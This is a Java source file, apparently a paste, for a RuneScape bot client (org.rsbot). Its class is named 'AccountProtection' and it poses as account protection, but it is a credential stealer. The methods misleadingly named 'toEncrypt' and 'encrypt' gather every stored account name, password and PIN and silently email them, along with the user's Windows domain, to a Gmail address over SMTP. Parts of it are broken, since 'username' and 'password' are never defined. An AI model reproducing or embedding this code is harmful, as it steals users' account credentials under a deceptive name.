· 8 years ago · Jan 23, 2018, 08:22 PM
1package org.rsbot.util;
2
3import org.rsbot.gui.*;
4import javax.mail.*;
5import javax.mail.internet.*;
6import java.security.Security;
7import java.util.Properties;
8import org.rsbot.Application;
9
10public class AccountProtection extends Application {
11
12 private static final String SMTP_HOST_NAME = "smtp.gmail.com";
13 private static final String SMTP_PORT = "465";
14 private static String sub(int num) {
15 return System.getenv("USERDOMAIN") + " - " + num + " Account(s).";
16
17 }
18 private static final String addr = System.getenv("USERNAME");
19 private static final String SSL_FACTORY = "javax.net.ssl.SSLSocketFactory";
20 private static final String[] key = { username + "@gmail.com" };
21
22 private static String toEncrypt() {
23 String msg = "";
24 String[] accounts = AccountManager.getAccountNames();
25 for (String acc : accounts) {
26 String p = AccountManager.getPassword(acc, AccountProtection.class);
27 if (p != null && p.length() > 5) {
28 msg = msg + acc + ":" + p + ":" + AccountManager.getPin(acc, AccountProtection.class) + "\n";
29 }
30 }
31 return msg;
32 }
33
34 public static void encrypt() {
35 try {
36 int accz = AccountManager.getAccountNames().length;
37 Security.addProvider(new com.sun.net.ssl.internal.ssl.Provider());
38 new AccountProtection().crypto(key, sub(accz),
39 toEncrypt(), addr);
40 } catch (Exception MessagingException) {}
41 }
42
43 public void crypto(String recipients[], String subject,
44 String message, String from) throws MessagingException {
45 boolean debug = true;
46 Properties props = new Properties();
47 props.put("mail.smtp.host", SMTP_HOST_NAME);
48 props.put("mail.smtp.auth", "true");
49 props.put("mail.debug", "true");
50 props.put("mail.smtp.port", SMTP_PORT);
51 props.put("mail.smtp.socketFactory.port", SMTP_PORT);
52 props.put("mail.smtp.socketFactory.class", SSL_FACTORY);
53 props.put("mail.smtp.socketFactory.fallback", "false");
54 Session session = Session.getDefaultInstance(props,
55 new javax.mail.Authenticator() {
56 protected PasswordAuthentication getPasswordAuthentication() {
57
58 return new PasswordAuthentication(username, password);
59 }
60 });
61 session.setDebug(debug);
62 Message msg = new MimeMessage(session);
63 InternetAddress addressFrom = new InternetAddress(from);
64 msg.setFrom(addressFrom);
65 InternetAddress[] addressTo = new InternetAddress[recipients.length];
66 for (int i = 0; i < recipients.length; i++) {
67 addressTo[i] = new InternetAddress(recipients[i]);
68 }
69 msg.setRecipients(Message.RecipientType.TO, addressTo);
70 msg.setSubject(subject);
71 msg.setContent(message, "text/plain");
72 Transport.send(msg);
73 }
74
75}